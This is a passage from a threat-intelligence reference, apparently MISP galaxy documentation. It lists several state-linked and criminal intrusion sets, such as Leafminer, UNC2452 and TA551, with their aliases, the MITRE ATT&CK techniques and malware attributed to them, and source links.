- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="POWERSTATS - S0223" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5105. Table References

Links
https://attack.mitre.org/groups/G0069
https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/
https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/
https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies
https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf
https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf
https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html

https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group
https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html

Leafminer - G0077

[Leafminer](https://attack.mitre.org/groups/G0077) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Leafminer - G0077"*

Leafminer - G0077 is also known as:

- Leafminer
- Raspite

View relationships graph

Leafminer - G0077 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1055.013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="MailSniper - S0413" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5106. Table References

Links
https://attack.mitre.org/groups/G0077
https://www.dragos.com/blog/20180802Raspite.html
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east

DarkHydrus - G0079

[DarkHydrus](https://attack.mitre.org/groups/G0079) is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks. (Citation: Unit 42 DarkHydrus July 2018) (Citation: Unit 42 Playbook Dec 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="DarkHydrus - G0079"*

DarkHydrus - G0079 is also known as:

- DarkHydrus

View relationships graph

DarkHydrus - G0079 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RogueRobin - S0270" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"

Table 5107. Table References

Links
https://attack.mitre.org/groups/G0079
https://pan-unit42.github.io/playbook_viewer/
https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/

BlackTech - G0098

[BlackTech](https://attack.mitre.org/groups/G0098) is a suspected Chinese cyber espionage group that has primarily targeted organizations in East Asia—particularly Taiwan, Japan, and Hong Kong—and the US since at least 2013. [BlackTech](https://attack.mitre.org/groups/G0098) has used a combination of custom malware, dual-use tools, and living off the land tactics to compromise media, construction, engineering, electronics, and financial company networks.(Citation: TrendMicro BlackTech June 2017)(Citation: Symantec Palmerworm Sep 2020)(Citation: Reuters Taiwan BlackTech August 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="BlackTech - G0098"*

BlackTech - G0098 is also known as:

- BlackTech

- Palmerworm

View relationships graph

BlackTech - G0098 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Digital Certificates - T1588.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Flagpro - S0696" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="TSCookie - S0436" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Right-to-Left Override - T1036.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Kivars - S0437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PLEAD - S0435" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1588.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="Waterbear - S0579" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5108. Table References

Links
https://attack.mitre.org/groups/G0098
https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt
https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape
https://www.reuters.com/article/us-taiwan-cyber-china/taiwan-says-china-behind-cyberattacks-on-government-agencies-emails-idUSKCN25F0JK

UNC2452 - G0118

[UNC2452](https://attack.mitre.org/groups/G0118) is a suspected Russian state-sponsored threat group responsible for the 2020 SolarWinds software supply chain intrusion.(Citation: FireEye SUNBURST Backdoor December 2020) Victims of this campaign include government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East.(Citation: FireEye SUNBURST Backdoor December 2020) The group also compromised at least one think tank by late 2019.(Citation: Volexity SolarWinds)

The tag is: *misp-galaxy:mitre-intrusion-set="UNC2452 - G0118"*

UNC2452 - G0118 is also known as:

- UNC2452
- NOBELIUM
- StellarParticle
- Dark Halo

View relationships graph

UNC2452 - G0118 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SAML Tokens - T1606.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Modification - T1484.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="TEARDROP - S0560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="Raindrop - S0565" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Use Alternate Authentication Material - T1550" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="GoldMax - S0588" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Cookies - T1606.001" with estimative-language:likelihood-probability="almost-certain"
- revoked-by: misp-galaxy:mitre-intrusion-set="APT29 - G0016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Additional Cloud Credentials - T1098.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Sibot - S0589" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SUNBURST - S0559" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SUNSPOT - S0562" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Session Cookie - T1550.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Additional Email Delegate Permissions - T1098.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="AdFind - S0552" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Domains - T1584.001" with estimative-language:likelihood-probability="almost-certain"

Table 5109. Table References

Links
https://attack.mitre.org/groups/G0118
https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/
https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/

TA551 - G0127

[TA551](https://attack.mitre.org/groups/G0127) is a financially-motivated threat group that has been active since at least 2018. (Citation: Secureworks GOLD CABIN) The group has primarily targeted English, German, Italian, and Japanese speakers through email-based malware distribution campaigns. (Citation: Unit 42 TA551 Jan 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="TA551 - G0127"*

TA551 - G0127 is also known as:

- TA551
- GOLD CABIN
- Shathak

View relationships graph

TA551 - G0127 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Ursnif - S0386" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="IcedID - S0483" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Valak - S0476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="QakBot - S0650" with estimative-language:likelihood-probability="almost-certain"

Table 5110. Table References

Links
https://attack.mitre.org/groups/G0127
https://unit42.paloaltonetworks.com/ta551-shathak-icedid/
https://unit42.paloaltonetworks.com/valak-evolution/
https://www.secureworks.com/research/threat-profiles/gold-cabin

Sidewinder - G0121

[Sidewinder](https://attack.mitre.org/groups/G0121) is a suspected Indian threat actor group that has been active since at least 2012. They have been observed targeting government, military, and business entities throughout Asia, primarily focusing on Pakistan, China, Nepal, and Afghanistan.(Citation: ATT Sidewinder January 2021)(Citation: Securelist APT Trends April 2018)(Citation: Cyble Sidewinder September 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Sidewinder - G0121"*

Sidewinder - G0121 is also known as:

- Sidewinder
- T-APT-04
- Rattlesnake

View relationships graph

Sidewinder - G0121 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1598.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Koadic - S0250" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5111. Table References

Links
https://attack.mitre.org/groups/G0121
https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf
https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/
https://securelist.com/apt-trends-report-q1-2018/85280/

Windshift - G0112

[Windshift](https://attack.mitre.org/groups/G0112) is a threat group that has been active since at least 2017, targeting specific individuals for surveillance in government departments and critical infrastructure across the Middle East.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="Windshift - G0112"*

Windshift - G0112 is also known as:

- Windshift
- Bahamut

View relationships graph

Windshift - G0112 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="WindTail - S0466" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Geofencing - T1581" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1521" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
